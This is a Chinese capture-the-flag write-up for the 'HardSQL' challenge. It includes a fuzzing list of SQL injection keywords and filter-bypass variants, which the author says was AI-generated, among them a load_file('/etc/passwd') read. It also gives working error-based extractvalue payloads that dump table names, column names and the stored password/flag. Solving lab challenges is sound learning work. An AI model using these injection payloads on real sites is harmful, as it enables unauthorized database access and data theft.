[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
熟悉的名字熟悉的界面,又回来了
我做的时候感到非常的绝望

题目如上
我尝试了很多内容,不出意外都失败了
随便输入一些内容试试

输入一些有意义的内容试试

还在嘲讽:<
怎么办呢?
可以尝试用bp来爆破看看常见的关键词由多少被屏蔽了我没有txt于是我再chatgpt上让它生成了一些可能不全
'
"
')
"))
or 1=1
or 1
and 1=1
and 1=2
OR 1=1
oR 1=1
or/**/1=1
or(1=1)
#
--
--+
-- -
/**/
;%00
select
SELECT
SeLeCt
sel/**/ect
%73%65%6c%65%63%74
union
UNION
UnIoN
un/**/ion
union%09select
where
from
WHERE
FrOm
wh/**/ere
fr/**/om
union select
union/**/select
un/**/ion/**/sel/**/ect
and
or
AND
OR
aNd
oR
and/**/1=1
or/**/1
=
>
<
!=
<>
like
regexp
rlike
database()
schema()
schema_name
table_name
column_name
DATABASE()
dat/**/abase()
information_schema
INFORMATION_SCHEMA
info/**/rmation_schema
show databases
show tables
show columns
show create table
show
databases
tables
columns
sleep(5)
SLEEP(5)
sl/**/eep(5)
benchmark(10000000,md5(1))
if(1=1,sleep(5),1)
case when 1=1 then sleep(5) else 1 end
updatexml(1,concat(0x7e,user()),1)
extractvalue(1,concat(0x7e,database()))
up/**/datexml
extr/**/actvalue
**load_file('/etc/passwd')
into outfile
into dumpfile
handler table_name open
handler table_name read first
handler table_name read next
prepare stmt from
execute stmt
set @a=1
select @a
sel/**/ect
un/**/ion
%09
%0a
%0b
%0c
%0d
%27
%23
%2d%2d
or(1)
or(true)
or(1+0)
or(2-1)
现在由ai辅助真方便:))
这题试下来大部分都被屏蔽了
然而updatexml() 或 extractvalue()没有
这两个是典型的报错注入
以第二个为例extractvalue(a,b)
其中a,b应该是xml类型的应该东西
原理是通过回显的报错信息,让里面执行函数
所以应该经典的代码如下
extractvalue(1,concat(~,select(函数名)))#
其中外层extractvalue相当于一个打印机,select是打印的内容
知道了这些后一个很好做了
1和~的作用都是让函数报错
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
password=1'or(extractvalue(1,concat(0x7e,database())))or'

值得注意的是这道题大部分你想得到的东西都被屏蔽了(太坏了)所以要用别的来代替如:用()代替空格,用0x7e代替~,用like代替=等等
在这里顺便说一下我为什么在password中写
select * from xxx where user=‘A’ and password=‘B’
如果在user中写可能会把password整个给注释掉,然后后面多一个单引号,说的有点抽象,实际上是’ and password='被注释了,后面还有一个单引号。
```bash
password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))or'

password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))or'

password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))or'

这里只显示了一半的flag其原因是extractvalue这个函数由字数的限制,只显示做百年30位(可能是30)
1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))or'
轻松
个damn啊
这道题花了我非常多的时间
被这个括号搞的很烦
还有or’
甚至拿到flag才发现不能之间拼起来
写的我太难受了
做的也相当难受
归根到底还是水平太低了
不过这是一个相当不错的题目
00
><
更多推荐
所有评论(0)